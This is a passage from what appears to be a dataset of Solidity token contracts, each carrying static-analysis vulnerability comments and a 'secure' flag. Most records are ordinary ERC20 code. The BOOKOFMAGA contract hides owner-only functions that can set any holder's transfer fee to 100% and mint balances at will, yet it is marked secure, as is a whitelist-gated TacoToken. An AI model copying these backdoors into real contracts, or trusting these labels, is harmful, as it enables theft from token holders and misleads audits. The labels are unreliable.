WARNING Vulnerability (unchecked-transfer | severity: High | ID: 18a5f10): BSR.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 18a5f10: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint256 _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 18a5f10\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 04977e1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 04977e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1174dc7): BSR.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1174dc7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2dd3502): BSR.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2dd3502: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 076129e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 076129e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 04977e1\n\t\t// unused-return | ID: 1174dc7\n\t\t// reentrancy-eth | ID: 076129e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 04977e1\n\t\t// unused-return | ID: 2dd3502\n\t\t// reentrancy-eth | ID: 076129e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 04977e1\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 076129e\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 04977e1\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_4043.sol", "secure": 0, "size_bytes": 20129 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BOOKOFMAGA is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cee2041): BOOKOFMAGA._decimals should be immutable \n\t// Recommendation for cee2041: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 84e201e): BOOKOFMAGA._totalSupply should be immutable \n\t// Recommendation for 84e201e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0313e1f): BOOKOFMAGA._devwallets should be immutable \n\t// Recommendation for 0313e1f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _devwallets;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _devwallets = 0xB52a7C254BB8854733c377351109f16BF8D952bb;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Executes(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _devwallets;\n }\n\n function locklps(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_4044.sol", "secure": 1, "size_bytes": 5353 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract TIBICOINOFFICIAL is Context, IERC20, IERC20Metadata, Ownable {\n using Address for address payable;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(\n string memory name_,\n string memory symbol_,\n address serviceFeeReceiver\n ) payable {\n _mint(msg.sender, 2 * 10 ** decimals());\n\n _name = name_;\n\n _symbol = symbol_;\n\n address serviceFeeReceiver_;\n\n serviceFeeReceiver_ = serviceFeeReceiver;\n\n payable(serviceFeeReceiver).sendValue(msg.value);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(\n accountOwner,\n spender,\n allowance(accountOwner, spender) + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function burn(uint256 amount) public onlyOwner {\n _burn(_msgSender(), amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_4045.sol", "secure": 1, "size_bytes": 6762 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Ez is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 1a7d53f): ez.maxSupply should be constant \n\t// Recommendation for 1a7d53f: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 4200000000 * 1e18;\n\n constructor() ERC20(\"EZpepe\", \"Ezpepe\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}", "file_name": "solidity_code_4046.sol", "secure": 1, "size_bytes": 587 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\n\nabstract contract TacoOneERC20 is\n Context,\n IERC20,\n IERC20Metadata,\n IERC20Errors\n{\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = string.concat(symbol_, unicode\"🌮\");\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function _setNameAndSymbol(\n string memory name_,\n string memory symbol_\n ) internal {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function _setName(string memory name_) internal {\n _name = name_;\n }\n\n function _setSymbol(string memory symbol_) internal {\n _symbol = symbol_;\n }\n\n function _setSymbolTaco(string memory symbol_) internal {\n _symbol = string.concat(symbol_, unicode\"🌮\");\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}", "file_name": "solidity_code_4047.sol", "secure": 1, "size_bytes": 5550 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./TacoOneERC20.sol\" as TacoOneERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TacoToken is TacoOneERC20, Ownable {\n mapping(address => uint256) public burnt;\n\n mapping(address => bool) public whitelist;\n\n mapping(address => bool) public blacklist;\n\n bool WLActive = true;\n\n bool BLActive = false;\n\n address public constant BURN = 0x00000000000000000000000000000000DEaD7AC0;\n\n constructor(\n string memory name_,\n string memory symbol_\n ) TacoOneERC20(name_, symbol_) Ownable(msg.sender) {\n _mint(owner(), 2100000000000 * 1e18);\n\n whitelist[msg.sender] = true;\n }\n\n function transfer(\n address to,\n uint256 value\n ) public override returns (bool) {\n if (WLActive) {\n require(whitelist[msg.sender], \"Caller not whitelisted!\");\n\n if (!whitelist[msg.sender]) {\n require(whitelist[to], \"transfer: not whitelisted!\");\n }\n }\n\n if (BLActive) {\n require(!blacklist[msg.sender], \"Caller is blacklisted!\");\n\n require(!blacklist[to], \"transfer: blacklisted!\");\n }\n\n if (to == BURN) {\n burnt[msg.sender] += value;\n }\n\n return TacoOneERC20.transfer(to, value);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public override returns (bool) {\n if (WLActive) {\n require(whitelist[msg.sender], \"Caller not whitelisted!\");\n\n if (!whitelist[msg.sender]) {\n require(whitelist[from], \"transfer: not whitelisted!\");\n\n require(whitelist[to], \"transfer: not whitelisted!\");\n }\n }\n\n if (BLActive) {\n require(!blacklist[msg.sender], \"Caller is blacklisted!\");\n\n require(!blacklist[from], \"transfer: blacklisted!\");\n\n require(!blacklist[to], \"transfer: blacklisted!\");\n }\n\n if (to == BURN) {\n burnt[from] += value;\n }\n\n return TacoOneERC20.transferFrom(from, to, value);\n }\n\n function eatTacos(uint256 value) public returns (bool) {\n return TacoOneERC20.transfer(BURN, value);\n }\n\n function WLActivate(bool value_) external onlyOwner {\n WLActive = value_;\n }\n\n function BLActivate(bool value_) external onlyOwner {\n BLActive = value_;\n }\n\n function modWL(\n address[] memory addresses_,\n bool[] memory values_\n ) external onlyOwner {\n require(addresses_.length == values_.length);\n\n for (uint256 i = 0; i < addresses_.length; i++) {\n whitelist[addresses_[i]] = values_[i];\n }\n }\n\n function modBL(\n address[] memory addresses_,\n bool[] memory values_\n ) external onlyOwner {\n require(addresses_.length == values_.length);\n\n for (uint256 i = 0; i < addresses_.length; i++) {\n blacklist[addresses_[i]] = values_[i];\n }\n }\n}", "file_name": "solidity_code_4048.sol", "secure": 1, "size_bytes": 3182 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TheFed is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 76635c6): TheFed.maxSupply should be constant \n\t// Recommendation for 76635c6: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 100000000 * 1e18;\n\n constructor() ERC20(\"The Fed\", \"FED\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}", "file_name": "solidity_code_4049.sol", "secure": 1, "size_bytes": 592 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4fc8164): Contract locking ether found Contract AinswerAi has payable functions AinswerAi.receive() But does not have a function to withdraw the ether\n// Recommendation for 4fc8164: Remove the 'payable' attribute or add a withdraw function.\ncontract AinswerAi is ERC20, Ownable {\n constructor() ERC20(unicode\"Ainswer.ai\", unicode\"AIN\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4fc8164): Contract locking ether found Contract AinswerAi has payable functions AinswerAi.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 4fc8164: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_405.sol", "secure": 0, "size_bytes": 1012 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Hopecoin is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3e1a64f): Hopecoin.bots is never initialized. It is used in Hopecoin._transfer(address,address,uint256)\n\t// Recommendation for 3e1a64f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ca3d58): Hopecoin._taxWallet should be immutable \n\t// Recommendation for 9ca3d58: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c81428c): Hopecoin._initialBuyTax should be constant \n\t// Recommendation for c81428c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3cedd0): Hopecoin._initialSellTax should be constant \n\t// Recommendation for b3cedd0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: edfbea7): Hopecoin._reduceBuyTaxAt should be constant \n\t// Recommendation for edfbea7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 715ccc4): Hopecoin._reduceSellTaxAt should be constant \n\t// Recommendation for 715ccc4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e921b41): Hopecoin._preventSwapBefore should be constant \n\t// Recommendation for e921b41: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000 * 10 ** _decimals;\n\n string private constant _name = unicode\"HopeCoin\";\n\n string private constant _symbol = unicode\"HOPE\";\n\n uint256 public _maxTxAmount = 8413800 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a5f5c1e): Hopecoin._taxSwapThreshold should be constant \n\t// Recommendation for a5f5c1e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1682760 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5669e1c): Hopecoin._maxTaxSwap should be constant \n\t// Recommendation for 5669e1c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8413800 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc3b32e): Hopecoin.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc3b32e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4b6e507): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4b6e507: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2ffe1c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2ffe1c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4b6e507\n\t\t// reentrancy-benign | ID: 2ffe1c4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4b6e507\n\t\t// reentrancy-benign | ID: 2ffe1c4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3827423): Hopecoin._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3827423: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2ffe1c4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4b6e507\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f1c4d6d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f1c4d6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3e1a64f): Hopecoin.bots is never initialized. It is used in Hopecoin._transfer(address,address,uint256)\n\t// Recommendation for 3e1a64f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 63e1211): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 63e1211: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n 